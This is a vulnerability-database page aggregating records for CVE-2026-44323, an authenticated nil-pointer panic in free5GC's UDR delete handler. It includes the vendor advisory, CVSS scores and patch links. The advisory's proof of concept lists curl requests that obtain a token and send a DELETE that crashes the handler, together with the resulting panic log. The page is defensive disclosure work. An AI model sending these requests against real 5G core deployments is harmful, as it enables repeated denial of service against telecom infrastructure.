Vulnerability-Lookup

CVE-2026-44323 (GCVE-0-2026-44323)

Vulnerability from cvelistv5 – Published: 2026-05-27 15:45 – Updated: 2026-06-01 17:08

Title

free5GC: UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)

Summary

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable. This vulnerability is fixed in 4.2.2.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-01 17:04 UTC

CWE

CWE-476 - NULL Pointer Dereference

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/free5gc/free5gc/security/advis…	x_refsource_CONFIRM
https://github.com/free5gc/free5gc/issues/919	x_refsource_MISC
https://github.com/free5gc/udr/pull/60	x_refsource_MISC
https://github.com/free5gc/udr/commit/8a1d3c63be9…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
free5gc	free5gc	Affected: < 4.2.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44323

Vulnerability from fkie_nvd - Published: 2026-05-27 17:16 - Updated: 2026-06-17 10:50

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/free5gc/free5gc/issues/919	Exploit, Issue Tracking
security-advisories@github.com	https://github.com/free5gc/free5gc/security/advisories/GHSA-4rqf-grm6-vf75	Exploit, Vendor Advisory
security-advisories@github.com	https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99	Patch
security-advisories@github.com	https://github.com/free5gc/udr/pull/60	Issue Tracking, Patch

Impacted products

	Vendor	Product	Version
	free5gc	free5gc	*

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "free5gc",
          "vendor": "free5gc",
          "versions": [
            {
              "status": "affected",
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    }
  ],
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  "lastModified": "2026-06-17T10:50:30.157",
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GHSA-4RQF-GRM6-VF75

Vulnerability from github – Published: 2026-05-08 22:52 – Updated: 2026-06-08 23:48

Summary

free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)

Details

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state):

if !ok {
    udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))
    value, _ = udrSelf.UESubsCollection.Load(ueId)
}
...
UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry:

_, ok = UESubsData.EeSubscriptionCollection[subsId]
if !ok {
    pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")
}

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {
    pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND")
}

When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr): - Precondition route + handler (EE-subscription create that allocates UE state): - NFs/udr/internal/sbi/api_datarepository.go:600 - NFs/udr/internal/sbi/api_datarepository.go:602 - NFs/udr/internal/sbi/api_datarepository.go:2528 - NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25 - NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30 - NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38 - Vulnerable delete route + dispatch: - NFs/udr/internal/sbi/api_datarepository.go:2161 - NFs/udr/internal/sbi/api_datarepository.go:2172 - Panic root cause (nil deref): - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

Restart UDR (clean state):

docker restart udr

Obtain a valid nudr-dr token from NRF:

curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

Create one EE subscription to populate UESubsCollection for ueId=x:

curl -i -sS -X POST \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \
  -H 'Content-Type: application/json' \
  --data '{}'

HTTP/1.1 201 Created

Trigger the panic with a nonexistent subsId:

curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'

HTTP/1.1 500 Internal Server Error
Content-Length: 0

UDR container logs (docker logs udr) confirm the nil-pointer panic at event_amf_subscription_info_document.go:69 inside RemoveAmfSubscriptionsInfoProcedure:

[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:69
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact

NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTION_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:52:00Z",
    "nvd_published_at": "2026-05-27T17:16:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nfree5GC\u0027s UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.\n\nThis endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.\n\n### Details\nValidated against the UDR container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/udr:v4.2.1`\n- Runtime UDR commit: `754d23b0`\n- Docker validation date: 2026-03-22\n- UDR endpoint: `http://10.100.200.11:8000`\n\nPrecondition (one authenticated EE-subscription create allocates UE state):\n```go\nif !ok {\n    udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))\n    value, _ = udrSelf.UESubsCollection.Load(ueId)\n}\n...\nUESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)\n```\n\nVulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry:\n```go\n_, ok = UESubsData.EeSubscriptionCollection[subsId]\nif !ok {\n    pd = util.ProblemDetailsNotFound(\"SUBSCRIPTION_NOT_FOUND\")\n}\n\nif UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {\n    pd = util.ProblemDetailsNotFound(\"AMFSUBSCRIPTION_NOT_FOUND\")\n}\n```\nWhen `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`.\n\nCode evidence (paths in `free5gc/udr`):\n- Precondition route + handler (EE-subscription create that allocates UE state):\n  - `NFs/udr/internal/sbi/api_datarepository.go:600`\n  - `NFs/udr/internal/sbi/api_datarepository.go:602`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2528`\n  - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25`\n  - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30`\n  - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38`\n- Vulnerable delete route + dispatch:\n  - `NFs/udr/internal/sbi/api_datarepository.go:2161`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2172`\n- Panic root cause (nil deref):\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69`\n\n### PoC\nReproduced end-to-end against the running UDR at `http://10.100.200.11:8000`.\n\n1. Restart UDR (clean state):\n```\ndocker restart udr\n```\n\n2. Obtain a valid `nudr-dr` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57\u0026targetNfType=UDR\u0026scope=nudr-dr\u0027\n```\n\n3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`:\n```\ncurl -i -sS -X POST \\\n  \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{}\u0027\n```\n```\nHTTP/1.1 201 Created\n```\n\n4. Trigger the panic with a nonexistent `subsId`:\n```\ncurl -i -sS -X DELETE \\\n  \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\n5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`:\n```\n[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure\n    .../event_amf_subscription_info_document.go:69\ngithub.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo\n    .../api_datarepository.go:2172\n[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |\n```\n\n### Impact\nNULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.\n\nThis is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:\n- Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`.\n- Repeat the trigger to sustain a per-request panic-DoS on UDR\u0027s data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have.\n\nNo Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR\u0027s intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/919\nUpstream fix: https://github.com/free5gc/udr/pull/60",
  "id": "GHSA-4rqf-grm6-vf75",
  "modified": "2026-06-08T23:48:05Z",
  "published": "2026-05-08T22:52:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-4rqf-grm6-vf75"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udr/pull/60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)"
}

Sightings

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-44323 (GCVE-0-2026-44323)

FKIE_CVE-2026-44323

GHSA-4RQF-GRM6-VF75

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Details

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